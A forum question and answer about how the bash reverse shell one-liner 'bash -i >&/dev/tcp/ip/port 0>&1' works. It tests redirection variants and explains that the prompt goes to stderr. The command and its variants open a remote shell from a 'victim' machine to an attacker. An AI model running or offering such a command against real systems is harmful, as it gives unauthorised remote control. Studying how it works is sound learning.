Bash reverse shell strange behavior

Question

I tried today to understand as much as I could a command (found here ) to open a reverse shell on the victim side. Here is it:

bash -i >&/dev/tcp/ip/port 0>&1

However, I didn't completely get why the first redirection is >& . I understood that /dev/tcp/ip/port is a "pseudo" file created by bash, but I didn't find the information if it has to be treated as a real file or as a file descriptor. Therefore, I tried to treat it like a real file and rewrote the bash command like this :

bash -i >/dev/tcp/ip/port 0>&1

In this case, a strange behavior happen: the reverse shell is working as expected (I can type some command on the attacker side and get the output on the attacker side too), except for one output : the bash command prompt text. So the only thing that is not printed on the attacker side but on the victim side is :

bash-4.4$

Everything else is printed as expected, ie on the attacker side.

The last test I tried is to change the bash command like this :

bash -i >/dev/tcp/ip/port <&1

Indeed, after reading the man page of bash, it made more sense to me to use the < redirection, as as it's stated on the man page, this opens the file descriptor 1 for reading on file descriptor 0 . Here, the same problem as the second command arises (everything is printed on the attacker except the bash command prompt bash-4.4$ ).

I also noted that redirecting stderr like :

bash -i >/dev/tcp/ip/port 2>&2 <&1

solves the problem, as if bash-4.4$ was printed on stderr...

I thus have four questions for which I cannot find an answer :

1. Should /dev/tcp and /dev/udp be treated as file or directly as file descriptor ? Which is equivalent to asking : should we write echo "hello" >/dev/tcp/ip/port or echo "hello" >&/dev/tcp/ip/port ?
2. Why does the author used 0>&1 to change stdin instead of <&1 , and how is it possible that it works in the first version of the command ?
3. Why is this strange behavior happening with the second and third command ? How is it possible that only part of the output is redirected ? In my point of view it should either redirect everything or nothing.
4. Why does redirecting stderr in the last command solves the problem ? This is not done on the first command (the original one of the author) but it still works..

Thank you very much in advance for your answers ! I hope I made this post as clear as possible.

Answer 1

1. A file descriptor in bash is a number , ie one or more digits , so /dev/… is definitely not a file descriptor. You were mislead by the special construct >& , which unless followed by a number is not the redirection operator for duplicating an output file descriptor, but the unpreferred format for redirecting standard output and standard error .

2. Why the author used 0>&1 to change stdin instead of <&1 , only he (or someone who can read his mind) can tell; I agree with you that it makes more sense to use the < redirection. Both versions work because &1 refers to /dev/tcp/ ip / port , which can be read from as well as written to.

3. The behavior is not strange at all, since, as you already wrote, the prompt is printed on stderr .

4. Well, redirecting stderr is done on the first command by >& .